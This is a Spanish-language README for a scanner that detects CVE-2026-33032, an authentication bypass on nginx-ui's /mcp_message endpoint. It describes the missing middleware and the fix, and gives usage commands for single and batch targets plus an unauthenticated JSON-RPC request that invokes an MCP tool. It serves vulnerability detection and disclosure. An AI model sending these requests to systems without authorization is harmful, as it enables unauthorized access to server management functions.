
Escáner de vulnerabilidades no destructivo para la omisión de autenticación del endpoint MCP de Nginx-UI (CVE-2026-33032)
Escáner de vulnerabilidades no destructivo para la omisión de autenticación del endpoint MCP de Nginx-UI
CVE-2026-33032 es una vulnerabilidad de omisión de autenticación en la integración del Protocolo de Contexto de Modelo (MCP) de nginx-ui. El endpoint /mcp_message carece de middleware de autenticación mientras proporciona acceso a todas las herramientas MCP, lo que permite a atacantes remotos:
Asimetría de Autenticación: El endpoint /mcp requiere autenticación, pero /mcp_message no:
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), ...)
r.Any("/mcp_message", middleware.IPWhiteList(), ...) // Falta AuthRequired()
Lista Blanca IP Fail-Open: La lista blanca IP predeterminada está vacía, lo que el middleware trata como "permitir todo"
Ambos Endpoints Comparten Manejador: Ambos enrutan al mismo mcp.ServeHTTP() que procesa todas las invocaciones de herramientas MCP
✅ Pruebas no destructivas - Utiliza solo herramientas MCP de solo lectura
✅ Huella digital integral - Identifica instalaciones de nginx-ui
✅ Prueba de concepto segura - No se realizan cambios de configuración
✅ Escaneo por lotes - Procesa múltiples objetivos desde archivo
✅ Informes detallados - Salida JSON para integración
# Clonar o descargar el escáner
git clone https://github.com/Twinson333/cve-2026-33032-scanner.git
cd cve-2026-33032
chmod +x cve-2026-33032-scanner.py
# Instalar dependencias (si es necesario)
pip3 install requests
# Escanear un solo objetivo
python3 cve-2026-33032-scanner.py -u http://target.com:9000
# Escanear con salida detallada
python3 cve-2026-33032-scanner.py -u https://nginx-ui.example.com -v
# Tiempo de espera personalizado
python3 cve-2026-33032-scanner.py -u http://192.168.1.100:9000 -t 15
# Escanear múltiples objetivos desde archivo
python3 cve-2026-33032-scanner.py -f targets.txt
# Con salida detallada e informe JSON
python3 cve-2026-33032-scanner.py -f targets.txt -v -o results.json
# Pingback de Burp
python3 cve-2026-33032-scanner.py -u http://target.com:9000 --collaborator abc123.burpcollaborator.net
# targets.txt - una URL por línea
http://192.168.1.100:9000
https://nginx-ui.corp.com
http://10.0.0.50:9000
El escáner realiza un proceso de detección en múltiples etapas:
Comprueba endpoints comunes de nginx-ui para identificar la instalación:
/api/info - Información de versión/login - Página de inicio de sesión/api/auth/login - Endpoint de autenticación/mcp y /mcp_message - Endpoints MCPPrueba el endpoint /mcp para verificar que requiere autenticación correctamente (línea base)
Intenta llamadas no destructivas a herramientas MCP a través de /mcp_message SIN autenticación:
Si alguna herramienta tiene éxito sin autenticación, la vulnerabilidad se confirma.
El escáner solo invoca herramientas MCP de solo lectura:
| Herramienta | Descripción | Impacto |
|---|---|---|
nginx_status | Leer estado del servicio nginx | Sin cambios |
nginx_config_list | Listar archivos de configuración | Sin cambios |
nginx_config_base_path | Obtener ruta del directorio de configuración | Sin cambios |
Herramientas explícitamente evitadas:
nginx_config_add - Crearía archivosnginx_config_modify - Alteraría configuracionesrestart_nginx / reload_nginx - Interrupción del servicionginx_config_enable - Cambiaría configuraciones activas[+] nginx-ui detectado: Se encontró 'nginx-ui' en /login
[+] Endpoint /mcp protegido correctamente
[*] Probando endpoint /mcp_message (CVE-2026-33032)...
[*] Probando herramienta: nginx_status - Leer estado de nginx (más seguro)
Estado: 200
======================================================================
[!] VULNERABLE a CVE-2026-33032
======================================================================
Prueba: Se ejecutó nginx_status exitosamente sin autenticación
[+] nginx-ui detectado: Endpoint de versión accesible
[+] Endpoint /mcp protegido correctamente
[*] Probando endpoint /mcp_message (CVE-2026-33032)...
[*] Probando herramienta: nginx_status - Leer estado de nginx (más seguro)
Estado: 401
Autenticación requerida (protegido) ✓
[+] NO vulnerable - el endpoint requiere autenticación
Si se confirma la vulnerabilidad:
Solución Inmediata: Agregar middleware de autenticación a /mcp_message:
r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(),
func(c *gin.Context) {
mcp.ServeHTTP(c)
})
Defensa en Profundidad:
Actualización: Actualizar a la versión parcheada de nginx-ui cuando esté disponible
Esta herramienta está diseñada para:
NO utilice esta herramienta en sistemas que no posea o para los que no tenga permiso explícito de prueba.
Al informar esta vulnerabilidad:
Gravedad: Crítica (CVSS 9.8+)
Prueba: Incluir la salida del escáner que muestre la invocación exitosa de herramientas MCP sin autenticación
Cadena de Impacto:
PoC Seguro: Usar solo las herramientas de solo lectura (nginx_status, nginx_config_list)
POST /mcp_message HTTP/1.1
Content-Type: application/json
{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "nginx_status",
"arguments": {}
},
"id": 1
}
{
"jsonrpc": "2.0",
"result": {
"content": [
{
"type": "text",
"text": "nginx is running (PID: 1234)"
}
]
},
"id": 1
}
HTTP/1.1 401 Unauthorized
{
"error": "authentication required"
}
Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas.
Antony Esthak Twinson @ Cyber Tamarin
Investigador de Seguridad | Cazador de Recompensas por Errores
Especializado en Seguridad de Aplicaciones Web e Investigación de Vulnerabilidades
Aviso: Este escáner realiza únicamente pruebas no destructivas. Siempre obtenga la autorización adecuada antes de probar cualquier sistema.